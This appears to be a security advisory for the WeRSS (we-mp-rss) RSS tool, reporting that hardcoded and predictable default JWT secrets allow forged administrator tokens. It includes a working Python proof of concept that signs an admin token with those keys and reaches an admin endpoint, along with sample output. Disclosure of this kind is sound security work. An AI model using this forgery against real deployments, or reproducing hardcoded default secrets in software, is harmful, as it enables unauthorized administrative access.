Summary

WeRSS(https://github.com/rachelos/we-mp-rss/) uses hardcoded weak default JWT secret keys, and the default key in the configuration file is also predictable (project name). Attackers can use these default keys to forge valid administrator tokens, completely bypassing authentication

Impact

we-mp-rss ≤1.4.8(latest)

Details

  1. Affected Components core/auth.py and config.example.yaml

    SECRET_KEY = cfg.get("secret","csol2025")  # ← Hardcoded weak key
    ALGORITHM = "HS256"
    
    secret: ${SECRET_KEY:-we-mp-rss}  # ← Predictable default key
    
  2. JWT :

    1. Environment variable SECRET_KEY
    2. Configuration file config.yaml secret value (default: we-mp-rss), which is used by offical docker image
    3. Hardcoded in code (csol2025)

PoC

  1. start WeRss in docker

    docker run -d  --name we-mp-rss  -p 8001:8001 -v ./data:/app/data  ghcr.io/rachelos/we-mp-rss:latest
    
  2. Python poc, use hardcore csol2025/we-mp-rss

    #!/usr/bin/env python3
    """
    Test weak secret key vulnerability
    Attempt to forge JWT token using default secret keys
    """
    
    import jwt
    import requests
    import sys
    
    # Configuration
    BASE_URL = "<http://localhost:8001>"
    DEFAULT_SECRET_KEYS = ["csol2025", "we-mp-rss"]
    ALGORITHM = "HS256"
    
    def test_weak_secret():
        print("=" * 60)
        print("Test: Weak Secret Key Vulnerability")
        print("=" * 60)
    
        for secret_key in DEFAULT_SECRET_KEYS:
            print(f"\\n[*] Trying default secret key: '{secret_key}'")
    
            try:
                # Forge admin token
                fake_token = jwt.encode(
                    {"sub": "admin", "role": "admin"},
                    secret_key,
                    algorithm=ALGORITHM
                )
    
                print(f"[+] Forged Token: {fake_token[:50]}...")
    
                # Test access to admin endpoint
                headers = {"Authorization": f"Bearer {fake_token}"}
                response = requests.get(
                    f"{BASE_URL}/api/v1/wx/user",          #   <------------ Test access to admin endpoint
                    headers=headers,
                    timeout=5
                )
    
                if response.status_code == 200:
                    print(f"\\n[!] Vulnerability confirmed: Successfully forged token using default secret key")
                    print(f"[!] Response status: {response.status_code}")
                    print(f"[!] Response data: {response.text[:200]}...")
                    return True
                else:
                    print(f"[-] Access denied, status code: {response.status_code}")
    
            except requests.exceptions.ConnectionError:
                print(f"[-] Cannot connect to server {BASE_URL}")
                print(f"[-] Please ensure the service is running")
                return None
            except Exception as e:
                print(f"[-] Error: {str(e)}")
    
        print(f"\\n[✓] Test passed: Cannot forge token using default secret keys")
        return False
    
    if __name__ == "__main__":
        result = test_weak_secret()
    
    [+] Forged Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.cI3oRpdMxqRHu8N1jjV55Q82DYeWnUyzPeL83bFfy-E... 
    [!] Vulnerability confirmed: Successfully forged token using default secret key
    [!] Response status: 200
    [!] Response data: {"code":0,"message":"success","data":{"username":"admin","nickname":"admin","avatar":"/static/default-avatar.png","email":"","role":null,"is_active":true}}...
    
    ============================================================
    Result: Security vulnerability found
    ============================================================
    
  3. request with jwt token can get user information

    image.png

    image.png